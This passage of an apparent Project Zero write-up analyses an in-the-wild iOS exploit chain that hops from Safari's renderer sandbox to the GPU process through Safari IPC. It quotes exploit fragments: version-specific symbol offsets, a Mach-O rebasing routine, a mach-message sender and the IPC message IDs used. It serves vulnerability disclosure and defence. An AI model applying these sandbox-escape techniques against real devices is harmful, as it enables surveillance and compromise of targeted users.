New"}.YrefKOOkxY-c12{color:inherit;text-decoration:inherit}.YrefKOOkxY-c9{margin-left:36pt;padding-left:0pt}.YrefKOOkxY-c28{font-weight:700}.YrefKOOkxY-c4{height:11pt}.YrefKOOkxY-c7{background-color:#d9ead3}.YrefKOOkxY-c19{height:0pt}.YrefKOOkxY-c26{background-color:#f4cccc}.YrefKOOkxY-c14{font-style:italic}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c18 doc-content"><h3 class="YrefKOOkxY-c6" id="h.754t5dnc09xo"><span class="YrefKOOkxY-c10">By Ian Beer</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrzpTZ2_H16_OJgFkwuJNmL120zmxWCcdrLlPXp-6x5SsweX8PosbAcKI9Sf8Ad0bYlMfDGwJ0Rz5GdwwEVnek-taAR1voRObiCwl7StIIx2gIHw7zH16AOi-TJRNiyDYKXprNRQNmt6vosLtafQdbjrRgTJB7HLUt_qc1sfCG_sAWZk_wfsfaei3c2-4/s1600/image7.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrzpTZ2_H16_OJgFkwuJNmL120zmxWCcdrLlPXp-6x5SsweX8PosbAcKI9Sf8Ad0bYlMfDGwJ0Rz5GdwwEVnek-taAR1voRObiCwl7StIIx2gIHw7zH16AOi-TJRNiyDYKXprNRQNmt6vosLtafQdbjrRgTJB7HLUt_qc1sfCG_sAWZk_wfsfaei3c2-4/s1200/image7.png" border="0" alt="A graph rendering of the sandbox escape NSExpression payload node graph, with an eerie similarity to a human eye" style="max-height: 750px; max-width: 600px;"title="A graph rendering of the sandbox escape NSExpression payload node graph, with an eerie similarity to a human eye" /></a></span></p>
<p class="YrefKOOkxY-c21"><span class="YrefKOOkxY-c30 YrefKOOkxY-c14">A graph representation of the sandbox escape NSExpression payload</span></p>
<p class="YrefKOOkxY-c4 YrefKOOkxY-c21"><span class="YrefKOOkxY-c14 YrefKOOkxY-c30"></span></p>
<p class="YrefKOOkxY-c2"><span>In April this year Google's Threat Analysis Group, in collaboration with Amnesty International, discovered an in-the-wild iPhone zero-day exploit chain being used in targeted attacks delivered via malicious link. The chain was reported to Apple under a 7-day disclosure deadline and Apple released </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://support.apple.com/en-us/HT213720">iOS 16.4.1 on April 7, 2023</a></span><span class="YrefKOOkxY-c5"> fixing CVE-2023-28206 and CVE-2023-28205.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Over the last few years Apple has been hardening the Safari WebContent (or "renderer") process sandbox attack surface on iOS, recently removing the ability for the WebContent process to access GPU-related hardware directly. Access to graphics-related drivers is now brokered via a GPU process which runs in a separate sandbox.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Analysis of this in-the-wild exploit chain reveals the first known case of attackers exploiting the Safari IPC layer to "hop" from WebContent to the GPU process, adding an extra link to the exploit chain (</span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://support.apple.com/en-us/HT213757">CVE-2023-32409</a></span><span class="YrefKOOkxY-c5">).</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">On the surface this is a positive sign: clear evidence that the renderer sandbox was hardened sufficiently that (in this isolated case at least) the attackers needed to bundle an additional, separate exploit. Project Zero has long advocated for attack-surface reduction as an effective tool for improving security and this would seem like a clear win for that approach.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>On the other hand, upon deeper inspection</span><span>, things aren't quite so rosy.</span><span> Retroactively sandboxing code which was never designed with compartmentalization in mind is rarely simple to do effectively. In this case the exploit targeted a very basic buffer overflow vulnerability in unused IPC support code for a disabled feature - </span><span>effectively new</span><span class="YrefKOOkxY-c5"> attack surface which exists only because of the introduced sandbox. A simple fuzzer targeting the IPC layer would likely have found this vulnerability in seconds.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Nevertheless, it remains the case that attackers will still need to exploit this extra link in the chain each time to reach the GPU driver kernel attack surface. A large part of this writeup is dedicated to analysis of the </span><span class="YrefKOOkxY-c3">NSExpression</span><span>-based framework the attackers developed to ease this and vastly reduce their marginal costs.</span></p><h3 class="YrefKOOkxY-c6" id="h.nu9p0mod0yip"><span class="YrefKOOkxY-c10">Setting the stage</span></h3>
<p class="YrefKOOkxY-c2"><span>After gaining native code execution exploiting a </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/commit/c9880de4a28b9a64a5e1d0513dc245d61a2e6ddb">JavaScriptCore Garbage Collection vulnerability</a></span><span> the attackers perform a find-and-replace on a large </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span class="YrefKOOkxY-c5"> in JavaScript containing a Mach-O binary to link a number of platform- and version-dependent symbol addresses and structure offsets using hardcoded values:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// find and rebase symbols for current target and ASLR slide:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dt: {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ce: false,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ["16.3.0"]: {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> _e: 0x1ddc50ed1,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> de: 0x1dd2d05b8,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ue: 0x19afa9760,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> he: 1392,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> me: 48,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> fe: 136,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pe: 0x1dd448e70,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ge: 305,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Ce: 0x1dd2da340,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Pe: 0x1dd2da348,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ye: 0x1dd2d45f0,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> be: 0x1da613438,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ["16.3.1"]: {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> _e: 0x1ddc50ed1,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> de: 0x1dd2d05b8,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ue: 0x19afa9760,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> he: 1392,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> me: 48,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> fe: 136,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> pe: 0x1dd448e70,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ge: 305,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Ce: 0x1dd2da340,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Pe: 0x1dd2da348,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ye: 0x1dd2d45f0,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> be: 0x1da613438,</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// mach-o Uint32Array:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx = new Uint32Array([0x77a9d075,0x88442ab6,0x9442ab8,0x89442ab8,0x89442aab,0x89442fa2,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// deobfuscate xxx</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// find-and-replace symbols:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0x2222222222222222"), p.Le);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0x3333333333333333"), Gs);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0x9999999999999999"), Bs);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0x8888888888888888"), Rs);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xaaaaaaaaaaaaaaaa"), Is);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xc1c1c1c1c1c1c1c1"), vt);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xdddddddddddddddd"), p.Xt);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xd1d1d1d1d1d1d1d1"), p.Jt);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">xxxx.on(new m("0xd2d2d2d2d2d2d2d2"), p.Ht);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span>The initial Mach-O which this loads has a fairly small </span><span class="YrefKOOkxY-c3">__TEXT</span><span> (code) segment and is itself in fact a Mach-O loader, which loads another binary from a segment called </span><span class="YrefKOOkxY-c3">__embd</span><span class="YrefKOOkxY-c5">. It's this inner Mach-O which this analysis will cover.</span></p><h3 class="YrefKOOkxY-c6" id="h.v04sp5wlmxsj"><span class="YrefKOOkxY-c10">Part I - Mysterious Messages</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Looking through the strings in the binary there's a collection of familiar IOKit userclient matching strings referencing graphics drivers:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">"AppleM2ScalerCSCDriver",0</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">"IOSurfaceRoot",0</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">"AGXAccelerator",0 </span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>But following the cross references to "</span><span class="YrefKOOkxY-c3">AGXAccelerator</span><span>" (which opens userclients for the GPU) this string never gets passed to </span><span class="YrefKOOkxY-c3">IOServiceOpen</span><span class="YrefKOOkxY-c5">. Instead, all references to it end up here (the binary is stripped so all function names are my own): </span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kern_return_t</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">get_a_user_client(char *</span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">matching_string</span><span class="YrefKOOkxY-c0">,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> u32 type,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void* s_out) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> kern_return_t ret;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> struct uc_reply_msg;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_port_name_t reply_port;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> struct msg_1 msg;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> reply_port = 0;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_port_allocate(mach_task_self_,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> MACH_PORT_RIGHT_RECEIVE,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &reply_port);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> memset(&msg, 0, sizeof(msg));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_bits = 0x1413;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_remote_port = a_global_port;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_local_port = reply_port;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_id = 5;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.hdr.msgh_size = 200;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.field_a = 0;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.type = type;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> __strcpy_chk(msg.matching_str, </span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">matching_string</span><span class="YrefKOOkxY-c0">, 128LL);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ret = mach_msg_send(&msg.hdr);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // return a port read from the reply message via s_out</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span>Whilst it's not unusual for a userclient matching string to end up inside a mach message (plenty of exploits will include or generate their own </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://www.cs.cmu.edu/afs/cs/project/mach/public/doc/unpublished/mig.ps">MIG serialization</a></span><span class="YrefKOOkxY-c5"> code for interacting with IOKit) this isn't a MIG message.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Trying to track down the origin of the port right to which this message was sent was non-trivial; there was clearly more going on. My guess was that this must be communicating with something else, likely some other part of the exploit. The question was: what other part?</span></p><h3 class="YrefKOOkxY-c6" id="h.cwaell99mf69"><span class="YrefKOOkxY-c10">Down the rabbit hole</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">At this point I started going through all the cross-references to the imported symbols which could send or receive mach messages, hoping to find the other end of this IPC. This just raised more questions than it answered.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>In particular, there were a lot of cross-references to a function sending a variable-sized mach message with a </span><span class="YrefKOOkxY-c3">msgh_id</span><span> of </span><span class="YrefKOOkxY-c3">0xDBA1DBA</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">There is exactly one hit on Google for that constant:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi77WGxhsnBXl8ShJPuffTWC4CVnq9-ehI4PbAqe2ZcWzccweFWaBEuxQUb03kryqpgeyfJnlI4Xh494eScUZTM1Yh6Cniss0U9z0Ycws1mfh8p1ML4dSjlMypbnqZyNSjQx654p2oeax6341PjKbN07GO7-b31hU9Lx26PF2U153TFehRyGVF68ohby4I/s1600/image17.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi77WGxhsnBXl8ShJPuffTWC4CVnq9-ehI4PbAqe2ZcWzccweFWaBEuxQUb03kryqpgeyfJnlI4Xh494eScUZTM1Yh6Cniss0U9z0Ycws1mfh8p1ML4dSjlMypbnqZyNSjQx654p2oeax6341PjKbN07GO7-b31hU9Lx26PF2U153TFehRyGVF68ohby4I/s1200/image17.png" border="0" alt="A screenshot of a Google search result page with one result" style="max-height: 750px; max-width: 600px;"title="A screenshot of a Google search result page with one result" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Ignoring Google's helpful advice that maybe I wanted to search for "cake recipes" instead of this hex constant and following the single result leads to this snippet on </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://opensource.apple.com/source/WebKit2/WebKit2-7609.3.5.1.3/Platform/IPC/cocoa/ConnectionCocoa.mm.auto.html">opensource.apple.com</a></span><span> in </span><span class="YrefKOOkxY-c3">ConnectionCocoa.mm</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">namespace IPC {</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">static const size_t inlineMessageMaxSize = 4096;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// Arbitrary message IDs that do not collide with Mach notification messages (used my initials).</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">constexpr mach_msg_id_t inlineBodyMessageID = 0xdba0dba;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">constexpr mach_msg_id_t outOfLineBodyMessageID = </span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">0xdba1dba</span><span class="YrefKOOkxY-c0">;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This is a constant used in Safari IPC messages!</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Whilst Safari has had a separate networking process for a long time it's only recently started to isolate GPU and graphics-related functionality into a GPU process. Knowing this, it's fairly clear what must be going on here: since the renderer process can presumably no longer open the </span><span class="YrefKOOkxY-c3">AGXAccelerator</span><span class="YrefKOOkxY-c5"> userclients, the exploit is somehow going to have to get the GPU process to do that. This is likely the first case of an in-the-wild iOS exploit targeting Safari's IPC layer.</span></p><h3 class="YrefKOOkxY-c6" id="h.t57vj8l1xq6q"><span class="YrefKOOkxY-c10">The path less trodden</span></h3>
<p class="YrefKOOkxY-c2"><span>Googling for info on Safari IPC doesn't yield many results (apart from some very early </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=10&q=&can=1">Project Zero vulnerability reports</a></span><span>) and looking through the WebKit source reveals heavy use of </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/blob/main/Source/WebKit/Scripts/generate-serializers.py">generated code</a></span><span> and </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/blob/main/Source/WebKit/Scripts/generate-serializers.py#L426">C++ operator overloading</a></span><span class="YrefKOOkxY-c5">, neither of which are conducive to quickly getting a feel for the binary-level structure of the IPC messages.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>But the high-level structure is easy enough to figure out. As we can see from the code snippet above, IPC messages containing the </span><span class="YrefKOOkxY-c3">msgh_id</span><span> value </span><span class="YrefKOOkxY-c3">0xdba1dba</span><span> send their serialized message body as an out-of-line descriptor. That serialized body always starts with a common header defined in the </span><span class="YrefKOOkxY-c3">IPC</span><span class="YrefKOOkxY-c5"> namespace as:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void Encoder::encodeHeader()</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *this << defaultMessageFlags;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *this << m_messageName;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *this << m_destinationID;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">flags</span><span> and </span><span class="YrefKOOkxY-c3">name</span><span> fields are both 16-bit values and </span><span class="YrefKOOkxY-c3">destinationID</span><span> is 64 bits. The serialization uses natural alignment so there's 4 bytes of padding between the </span><span class="YrefKOOkxY-c3">name</span><span> and </span><span class="YrefKOOkxY-c3">destinationID</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPHyHj04YHCntV4a-CazqQl6hyZ7SK4dKseLE4jowixuOV-a_Deq2tOnpipp3GtmvkPwaih64ZYbjX-V1wcAkHqlIb0WhV0Nb2yMlkHfj2gzkx1vloU85dt2fliFnMuh_v0M_Oup9udzhBM5_bPDsLPLHx749BVcpDHxvN8mNLfD0nRUiHyKDJ7sceVsA/s840/image15.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPHyHj04YHCntV4a-CazqQl6hyZ7SK4dKseLE4jowixuOV-a_Deq2tOnpipp3GtmvkPwaih64ZYbjX-V1wcAkHqlIb0WhV0Nb2yMlkHfj2gzkx1vloU85dt2fliFnMuh_v0M_Oup9udzhBM5_bPDsLPLHx749BVcpDHxvN8mNLfD0nRUiHyKDJ7sceVsA/s840/image15.png" border="0" alt="Diagram showing the in-memory layout of a Safari IPC mach message with message header then serialized payload pointed to by an out-of-line descriptor" style="max-height: 750px; max-width: 600px;"title="Diagram showing the in-memory layout of a Safari IPC mach message with message header then serialized payload pointed to by an out-of-line descriptor" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>It's easy enough to enumerate all the functions in the exploit which serialize these Safari IPC messages. None of them hardcode the </span><span class="YrefKOOkxY-c3">messageName</span><span> values; instead there's a layer of indirection indicating that the </span><span class="YrefKOOkxY-c3">messageName</span><span> values aren't stable across builds. The exploit uses the device's </span><span class="YrefKOOkxY-c1 YrefKOOkxY-c3"><a class="YrefKOOkxY-c121" href="https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/uname.3.html">uname</a></span><span> string, product and OS version to choose the correct hardcoded table of </span><span class="YrefKOOkxY-c3">messageName</span><span class="YrefKOOkxY-c5"> values.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">IPC::description</span><span> function in the iOS shared cache maps </span><span class="YrefKOOkxY-c3">messageName</span><span class="YrefKOOkxY-c5"> values to IPC names:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">const char * IPC::description(unsigned int messageName)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( messageName > 0xC78 )</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return "<invalid message name>";</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> else</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return off_1D61ED988[messageName];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The size of the bounds check gives you an idea of the size of the IPC attack surface - that's over 3000 IPC messages between all pairs of communicating processes.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Using the table in the shared cache to map the message names to human-readable strings we can see the exploit uses the following 24 IPC messages:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x39: GPUConnectionToWebProcess_CreateRemoteGPU</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x3a: GPUConnectionToWebProcess_CreateRenderingBackend</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9B5: InitializeConnection</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9B7: ProcessOutOfStreamMessage</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xBA2: RemoteAdapter_RequestDevice</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xBA5: RemoteBuffer_MapAsync</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x271: RemoteBuffer_Unmap</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xBA6: RemoteCDMFactoryProxy_CreateCDM</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2A2: RemoteDevice_CreateBuffer</span></p>
